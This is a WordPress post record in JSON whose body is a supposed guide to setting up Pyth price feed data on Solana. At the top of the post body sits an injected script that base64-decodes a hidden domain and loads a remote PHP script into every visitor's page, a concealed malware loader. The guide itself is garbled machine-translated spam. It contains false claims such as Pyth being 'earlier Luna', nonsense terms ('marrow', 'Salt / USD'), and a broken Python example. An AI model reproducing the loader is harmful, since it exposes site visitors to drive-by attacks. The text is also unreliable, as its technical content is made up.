{"id":9639,"date":"2025-02-08T16:01:28","date_gmt":"2025-02-08T16:01:28","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=9639"},"modified":"2025-02-08T16:01:28","modified_gmt":"2025-02-08T16:01:28","slug":"solana-how-to-set-up-pyth-price-feed-account-data","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=9639","title":{"rendered":"Solana: How to set up pyth price feed account data?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=3dc1f477\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>I can provide you with a guide on how to configure information on marrow prices for test purposes.<\/p>\n<\/p>\n<p><strong> Configuration of price of the FOSS price account information <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/6CV5Rqpit28\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>Pyth (earlier Luna) is a decentralized autonomous organization that aims to create a new world currency, Luna. To test the price of the price account and reach the expected price, follow these steps:<\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Step 1: Create a new marrow test portfolio<\/p>\n<\/p>\n<ul>\n<li>Access the [Pyth Testnet] website (<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Click on the &#8220;Create a new portfolio&#8221; button.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Follow the instructions to create a new examination portfolio.<\/li>\n<\/ul>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Step 2: Get a price of the PIT PRU price<\/p>\n<\/p>\n<ul>\n<li>Connect to your test portfolio and access the supervision card [Pyth Price Feed] (<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Click on the &#8220;Get data&#8221; button next to the desired price pair (for example Salt \/ USD).<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Federated data will be displayed for 30 days.<\/li>\n<\/ul>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Step 3: Define the price of the federated data marrow<\/p>\n<\/p>\n<ul>\n<li>Go back to the website [Pyth Testnet] (<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Click on the &#8220;Settings&#8221; icon (equipment icon) next to your test portfolio.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Go down to the &#8220;Food price&#8221; section.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Choose a few prices you want (for example Salt \/ USD) and click on the &#8220;Save&#8221; button.<\/li>\n<\/ul>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Step 4: Examine the account information for the price of the price<\/p>\n<\/p>\n<ul>\n<li>Connect to your test portfolio and access the supervision card [Pyth Price Feed] (<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>FEDEDA data prices should now be available 30 days.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>You can use this information to install scripts or automated tools that trigger when the SAL \/ USD price exceeds 200.<\/li>\n<\/ul>\n<\/p>\n<p><strong> Example of automation scripts <\/strong><\/p>\n<\/p>\n<p>Here is an example of an automation script in Python using [pyth api] ( Bibliotheka:<\/p>\n<\/p>\n<p>`<code>Python<\/p>\n<\/p>\n<p>Import time<\/p>\n<\/p>\n<p>From Pyth Import Pyth<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p><img decoding=\"async\" alt=\"Solana: How to set up pyth price feed account data?\n\" src=\"https:\/\/grameensamajunnayanparishad.com\/wp-content\/uploads\/2025\/02\/6f5bafd3.png\"><\/p>\n<p>Initialize the Py Customer<\/p>\n<\/p>\n<p>Customer = Pyth ()<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Attach a pair of price and trigger<\/p>\n<\/p>\n<p>Price_pair = \"soil \/ usd\"<\/p>\n<\/p>\n<p>Trigger_amount = 200.0<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Define an interval for the automation script (for example every hour)<\/p>\n<\/p>\n<p>Interval = 1<\/p>\n<\/p>\n<p>While the truth is:<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Get your current flow data<\/p>\n<\/p>\n<p>    Price_data = customer.get_price_feed_data (price_pair, interval = interval)<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Check that the trigger has exceeded<\/p>\n<\/p>\n<p>    If price_data [\"price\"] [0]> trigger_amount:<\/p>\n<\/p>\n<p>        Print (\"floor \/ usd price exceeds\", trigger_amount)<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Start an action or automate another script<\/p>\n<\/p>\n<p><\/code><code><\/code>`<\/p>\n<\/p>\n<p>Keep in mind that this is a basic example and you need to adjust the script according to your case. Also keep in mind the risks associated with automated trading or actions based on script scripts.<\/p>\n<\/p>\n<p>I hope it will help! Let me know if you have any questions or if you need help.<\/p>\n<p><a href=\"https:\/\/alharaesfiharia.com\/solana-pre-posttokenbalances-accountindex-doesnt-correspond-to-accountkeys-index\/\">Solana Doesnt Index<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I can provide you with a guide on how to configure information on marrow prices for test purposes. Configuration of price of the FOSS price account<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-9639","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9639","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9639"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9639\/revisions"}],"predecessor-version":[{"id":9640,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9639\/revisions\/9640"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9639"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9639"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9639"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}